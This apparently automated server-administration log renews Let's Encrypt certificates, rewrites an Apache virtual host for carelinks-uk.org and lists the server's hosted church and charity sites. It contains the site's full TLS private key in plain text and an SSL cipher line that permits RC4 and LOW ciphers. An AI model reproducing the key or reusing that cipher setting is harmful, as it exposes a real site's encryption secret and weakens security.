mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > ifDShprDO1HeD5ebtbzQscHDLai14hzj2TZofSBpvyA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ifDShprDO1HeD5ebtbzQscHDLai14hzj2TZofSBpvyA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ifDShprDO1HeD5ebtbzQscHDLai14hzj2TZofSBpvyA
2026-01-10 06:00:05:
chmod 755 /tmp/pkp780104; /tmp/pkp780104; rm /tmp/pkp780104
2026-01-10 06:00:05:
2026-01-11 06:00:03: Establishing a connection
2026-01-11 06:00:04: Establishing a connection
2026-01-11 06:00:04:
PUT: /tmp/pkp464137
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-11 06:00:04:
chmod 755 /tmp/pkp464137; /tmp/pkp464137; rm /tmp/pkp464137
2026-01-11 06:00:04:
1
2026-01-11 06:00:06: Establishing a connection
2026-01-11 06:00:06:
PUT: /tmp/pkp237688
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > PqYCN9caxRb0peowZ2wPUnCn_XJYOuY_IqllqJjlDT0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PqYCN9caxRb0peowZ2wPUnCn_XJYOuY_IqllqJjlDT0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PqYCN9caxRb0peowZ2wPUnCn_XJYOuY_IqllqJjlDT0
2026-01-11 06:00:07:
chmod 755 /tmp/pkp237688; /tmp/pkp237688; rm /tmp/pkp237688
2026-01-11 06:00:07:
2026-01-12 06:00:03: Establishing a connection
2026-01-12 06:00:03: Establishing a connection
2026-01-12 06:00:04:
PUT: /tmp/pkp186991
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-12 06:00:04:
chmod 755 /tmp/pkp186991; /tmp/pkp186991; rm /tmp/pkp186991
2026-01-12 06:00:04:
1
2026-01-12 06:00:05: Establishing a connection
2026-01-12 06:00:06:
PUT: /tmp/pkp858355
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > jWTH909KtPs4JQ4BiV-4zBBBNlh5kSU6oMHfQWtXRsk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jWTH909KtPs4JQ4BiV-4zBBBNlh5kSU6oMHfQWtXRsk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jWTH909KtPs4JQ4BiV-4zBBBNlh5kSU6oMHfQWtXRsk
2026-01-12 06:00:06:
chmod 755 /tmp/pkp858355; /tmp/pkp858355; rm /tmp/pkp858355
2026-01-12 06:00:06:
2026-01-13 06:00:03: Establishing a connection
2026-01-13 06:00:03: Establishing a connection
2026-01-13 06:00:03:
PUT: /tmp/pkp820300
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-13 06:00:04:
chmod 755 /tmp/pkp820300; /tmp/pkp820300; rm /tmp/pkp820300
2026-01-13 06:00:04:
1
2026-01-13 06:00:05: Establishing a connection
2026-01-13 06:00:05:
PUT: /tmp/pkp459841
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > QZJ7fEstNhb9eAOQVFehOvjCm8z5C-SqP_XVgNLceqY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QZJ7fEstNhb9eAOQVFehOvjCm8z5C-SqP_XVgNLceqY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QZJ7fEstNhb9eAOQVFehOvjCm8z5C-SqP_XVgNLceqY
2026-01-13 06:00:05:
chmod 755 /tmp/pkp459841; /tmp/pkp459841; rm /tmp/pkp459841
2026-01-13 06:00:05:
2026-01-14 06:00:03: Establishing a connection
2026-01-14 06:00:03: Establishing a connection
2026-01-14 06:00:03:
PUT: /tmp/pkp359870
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-14 06:00:04:
chmod 755 /tmp/pkp359870; /tmp/pkp359870; rm /tmp/pkp359870
2026-01-14 06:00:04:
1
2026-01-14 06:00:05: Establishing a connection
2026-01-14 06:00:05:
PUT: /tmp/pkp390870
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > 9Xa9ihzvr5oLbQ6UlEX5joXuKXMhRF4HJfKZfINjN18 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9Xa9ihzvr5oLbQ6UlEX5joXuKXMhRF4HJfKZfINjN18.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9Xa9ihzvr5oLbQ6UlEX5joXuKXMhRF4HJfKZfINjN18
2026-01-14 06:00:05:
chmod 755 /tmp/pkp390870; /tmp/pkp390870; rm /tmp/pkp390870
2026-01-14 06:00:05:
2026-01-14 06:00:07: Establishing a connection
2026-01-14 06:00:07: Establishing a connection
2026-01-14 06:00:07:
PUT: /tmp/pkp546170
#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-14 06:00:07:
chmod 755 /tmp/pkp546170; /tmp/pkp546170; rm /tmp/pkp546170
2026-01-14 06:00:07:
1
2026-01-14 06:00:08: Establishing a connection
2026-01-14 06:00:08:
PUT: /tmp/pkp825618
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > 9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE
cat > oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo
2026-01-14 06:00:08:
chmod 755 /tmp/pkp825618; /tmp/pkp825618; rm /tmp/pkp825618
2026-01-14 06:00:08:
2026-01-14 06:00:19: Establishing a connection
2026-01-14 06:00:19:
PUT: /tmp/pkp359507
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm 9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE
rm oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo
2026-01-14 06:00:19:
chmod 755 /tmp/pkp359507; /tmp/pkp359507; rm /tmp/pkp359507
2026-01-14 06:00:19:
2026-01-14 06:00:19: Establishing a connection
2026-01-14 06:00:19:
PUT: /tmp/pkp318352
#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt
cat > $temp_file <<'endmsg'
fb:1d:fa:ab:0f:b9:6a:d1:76:34:6c:78:63:ab:a3:21
-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkiwc8C5N0CrcBnGQmmlIwIPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMTQ3WhcNMjYwNDE0MDUwMTQ2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwun35OO2CA7R7KopW/C6XJdDMlFLaXFosGbn2+C894BDVb/iQcokLCKnK6kR
u0vXkqBfk3j8E9tQo/a//yoCegiPjQN9dvvCaWZrjCsZTndIiJ37dwG8TQqxqvJi
8XZ0NAbewZr9YSEZ39HzcoOeSjD3QSaYq7g5iZdMLjLvafRRzcV2iCk92L05+7s6
OlwDLnAKghDbHbzjtzcInIF4VfmMqdCeNKDnlLyycnDR5J69gKjN4LXMAP8Cpjta
2KTs5zir9boXXq96Dez9x2VKcQFYjEp3veaSrYEujMpEm/BRNTGxwxDOnNRy0vEf
M+nzgP+40gfTWTdPz7amdaEsTwIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQ/tmQiDpe37Y4mr7LXSmhuJC9YdjAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTYuY3JsMIIBCwYK
KwYBBAHWeQIEAgSB/ASB+QD3AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekx
syPLlQQAAAGbuxcyoQAABAMARzBFAiEAgDjz3Qyf0xVybxdmSUr1mZ+/UwywVdnV
Ia8gj8BG62oCIAVST+l3/Y9LoqhElj93xzRBtw957IOUTNmZ6yJqKTjeAH0A4yON
8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGbuxczWwAIAAAFAC9XdgkE
AwBGMEQCICpmL3+CNT7o6ess795YleRP4IDVFpQ8YiOvHVILdx9XAiAk5a8nS6P5
1GZ08vEt4X4iSIOXqVxIbaJ+9NclLeebbzANBgkqhkiG9w0BAQsFAAOCAQEAJbvR
enPWqKMczNy2SCHH9g8+3CbDBJnBEqe912pDULU7ekCpWXc9wNg3xSPEVtj5m/S+
72FmNxTtxPd7s44O8s85Lz0RvVkax5YrDYczsLRzEXTQSddwCQJ4lMUUUv2GzY6C
ZnnRva8SRr4w4cYwIPeXTG6KEyTv7YFkV6Ls9GELoWRJH4iT+CB4OSDp4Gvq9gs2
DtvJFuMqcWxalGxz4Rst4BvZrYz1XojOmCiGkVg/lHrZJ+kO02KoUZbwFqgr5LLZ
o42YnhonPtgIDYAJHrHusWlx0HUBixBPeQoaCFsoUy1URvwILy7d9rncQunYDCZb
83cYE+/WIqKSFaoDhQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDC6ffk47YIDtHs
qilb8Lpcl0MyUUtpcWiwZufb4Lz3gENVv+JByiQsIqcrqRG7S9eSoF+TePwT21Cj
9r//KgJ6CI+NA312+8JpZmuMKxlOd0iInft3AbxNCrGq8mLxdnQ0Bt7Bmv1hIRnf
0fNyg55KMPdBJpiruDmJl0wuMu9p9FHNxXaIKT3YvTn7uzo6XAMucAqCENsdvOO3
NwicgXhV+Yyp0J40oOeUvLJycNHknr2AqM3gtcwA/wKmO1rYpOznOKv1uhder3oN
7P3HZUpxAViMSne95pKtgS6MykSb8FE1MbHDEM6c1HLS8R8z6fOA/7jSB9NZN0/P
tqZ1oSxPAgMBAAECggEAEaxyaGRHcLKbUVjamDYbR+MFWk4pxt1cL0addoAJ0m1k
baWRCAMixYe83cYeT/vgB7EYCYC6ZriHtt5caXAvOk6FabVrznqklbcOQG72A/nn
709X6mITZ271TjldRGTHw6Ht1+NMX17HgFaCuxr5IuQOv28W/9ccDIBWDYhb0iEH
MKPOmDtyeTY/uAlwYj96LItewRvMX7XoxmKdzyVchTal1WnQWG5jl8/UIHlHY3D1
iLTyFD5S1AFAP+w6FN46JnDC+tHex5FDzPHILjgg6BybXabmQEg1m2UMVhNmHic3
RHuOJFDM4l7tos1QmW2LxQCONCO8rKbEnW84XABOzQKBgQDouWJk97ZT6oKPr4KJ
jVGFyVuIa+pjJCDY+ajae9frqCqTTgmfGAuvIrMEgxZg4gBB1bzYi+hDbq307hqj
Ct0xHq4PG3zs31NGq4aRoNGOwqu79bclRub43cmzytr/C8LBG12JQQNWl5lA7+OM
OV48Jd8Rx4igZBLFffGDf1nGCwKBgQDWaH/3AQkO/l/YiAJOQLO1olvbQxR2UOtl
IU+IwW19UV/Ip4w/GIB0gt0dxySDB47pMK85tjs7fPehj4bAamdtscydLA2qo+PB
jy18zQXjbtsuQBp8/39hIsRvvtKjFimU2kXGa+mIKvoZ98bBc3a02vO2MlORSPTW
/gJRf/mxTQKBgQDDYah+1gzn5NFaKmJwcwmHRaaoINm2BEXjg67ERwbe3N9prjGb
tMdScNJUrm1iRzsqCnSyZLtJqak4IZKRYXSUYYqGOnCmOVQj16txpc9piHw/oCnz
jNQrCaDmZh930nrePshHjCJuV3Yds4iZWCyKWM0vkxJcfcfYsETMPmWzQwKBgH+q
g5+hFzK9VnbJLY5Iynj5rvZU7+cvcaqq9f+5JSe8f2ssEL81KK+3iFAF1wDKTFcf
rQaRMp3OYGjr3FHQSbuwZeSkaZLUuXX0eiJYtgvhY1MbymnpfIBrQkpDdoqzVJkU
iv2GHez9oiQ6PDfON72irgEr4ESfC2LEpr6+k//1AoGBAJR3BhcU8hmZAZ/lzImV
MVGBYNOf7rNOc5toFYBp1f7mbg3akdJhz4nomI+MmxoUWipd73To6ICX0Rw9VjsS
SrGd5pZiykzjrmhmT+SJzroCF7WswA3tfckSWOSssEKJ4+S6noeQ1pa0+QOugLsE
/wmU42YMUi4hDr9CH8a3LDDi
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-14 06:00:19:
chmod 755 /tmp/pkp318352; /tmp/pkp318352; rm /tmp/pkp318352
2026-01-14 06:00:19:
dir=/etc/ssl/certs
2026-01-14 06:00:19:
PUT: /tmp/pkp833440
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-14 06:00:19:
chmod 755 /tmp/pkp833440; /tmp/pkp833440; rm /tmp/pkp833440
2026-01-14 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-14 06:00:19:
PUT: /tmp/pkp928333
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi
2026-01-14 06:00:19:
chmod 755 /tmp/pkp928333; /tmp/pkp928333; rm /tmp/pkp928333
2026-01-14 06:00:19:
2026-01-14 06:00:19:
PUT: /tmp/pkp154281
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-14 06:00:20:
chmod 755 /tmp/pkp154281; /tmp/pkp154281; rm /tmp/pkp154281
2026-01-14 06:00:20:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:00:20: Establishing a connection
2026-01-14 06:00:20:
PUT: /tmp/pkp452164
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-14 06:00:20:
chmod 755 /tmp/pkp452164; /tmp/pkp452164; rm /tmp/pkp452164
2026-01-14 06:00:20:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
